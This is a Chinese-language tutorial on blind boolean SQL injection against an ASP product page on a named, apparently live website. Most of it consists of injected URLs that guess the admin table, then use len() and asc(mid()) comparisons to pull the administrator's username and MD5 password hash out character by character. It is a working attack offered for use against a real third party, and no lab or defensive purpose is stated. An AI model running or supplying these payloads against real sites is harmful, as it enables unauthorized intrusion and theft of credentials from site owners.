首先看一個簡單的站點
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIn5GcuQHNuBjZlBjYzFHMq9me502NwETNyAzLcBTMvwlNwUTMwIzLc1Wdy9mZvwVbvNmLjh2cpZmL4hHevw1LcpDc0RHaiojIsJye.png)
這種站點, 一眼看了, 都是有漏洞的多。
上面的站, 是支援union select 注入的。
但這裡說的是不支援union select 注入的情況,
是以, 我們這裡不利用union select 來注入。(假設不支援)
進入産品展示裡面, 随便點一個産品, 都有注入, 我們拿這個來做例子。
http://www.joesd.com/Jody/product_show.asp?action=common&ID=47
和我上一篇文章所說, 一開如時, 我們是猜表, 用and exists(select * from 表名)
之後猜字段, 用order by
最後用union select 1, 2, ,,,,,,from 表名, 再把相應位數變換成對應字段即可得到密碼。
比如, 現在你不能用union select 的話, 要怎麼拿到帳号密碼呢?因為有時, 有些網站就是不支援的。
上面網頁, 我猜到表名是adminuser:
http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and exists(select * from adminuser)
表段也猜好了, 密碼字段為:adminpwd, 帳号字段為:adminuser。
如果不支援union select 的話, 我們可以這樣:
先測一下帳号長度:
and (select top 1 len(adminuser) from adminuser)>4
and (select top 1 len(adminuser) from adminuser)>5
這時, 看到>4時正常, >5是頁面傳回錯誤, 可以确定帳号長度為5個字元了。
然後, 再用下面的方法, 一個一個地讀出帳号的ascii碼。
http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and (select top 1 asc(mid(adminuser,1,1)) from adminuser)>96
這裡的mid(表段, 1,1)代表從表段裡截取第一個字元, 外層的asc是把mid截取的字元轉成ascii碼, top 1是表示傳回傳回字段中的第一條紀錄,
而> 96是ascii比較了。 一般情況下select top 1 asc(mid())都是固定的, 記住用法就行, 裡面的表段名變化的,這裡adminuser,1,1是截取第
一個字元, 相應的, 截取第二個, 用法是asc(mid(adminuser,2,1))。 這裡長度是5, 是以, 一個一個測試, 一直測到asc(mid(adminuser, 5,1))。
比如上面的:http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and (select top 1 asc(mid(adminuser,1,1)) from adminuser)>96
運作時如下圖:
當> 96時正常, 當我>97時, 頁面傳回如下:
出錯了, 說明帳号5位裡面, 第一位的ascii碼為97, 對應的字母為: a
我們用這種方法可以一直猜完5位, 就能得到帳号了。
對于密碼, 也用同樣的方法去猜, 先猜長度, 如下:
http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and (select top 1 len(adminpwd) from adminuser)>31
http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and (select top 1 len(adminpwd) from adminuser)>32
當31時正常, 32時不正常, 說明密碼長度32個字元。 (MD5)
再用同樣的方法, 一個一個去猜字元:
http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and (select top 1 asc(mid(adminpwd,1,1)) from adminuser)>49
49正常, 50不正常, 說明第一個字元的ascii碼為50。